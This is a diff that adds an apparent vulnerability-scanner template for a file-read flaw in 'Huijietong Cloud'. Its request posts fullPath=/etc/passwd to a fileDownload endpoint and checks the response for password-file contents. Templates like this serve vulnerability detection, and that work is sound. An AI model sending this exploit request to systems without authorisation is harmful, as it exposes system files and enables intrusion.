diff --git a/vulnerabilities/other/huijietong-cloud-fileread.yaml b/vulnerabilities/other/huijietong-cloud-fileread.yaml new file mode 100644 index 0000000000..085d818692 --- /dev/null +++ b/vulnerabilities/other/huijietong-cloud-fileread.yaml @@ -0,0 +1,23 @@ +id: huijietong-cloud-fileread +info: + name: Huijietong Cloud File Read + author: princechaddha + severity: high + tags: huijietong,lfi + +requests: + - method: POST + path: + - "{{BaseURL}}/fileDownload?action=downloadBackupFile" + body: 'fullPath=/etc/passwd' + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200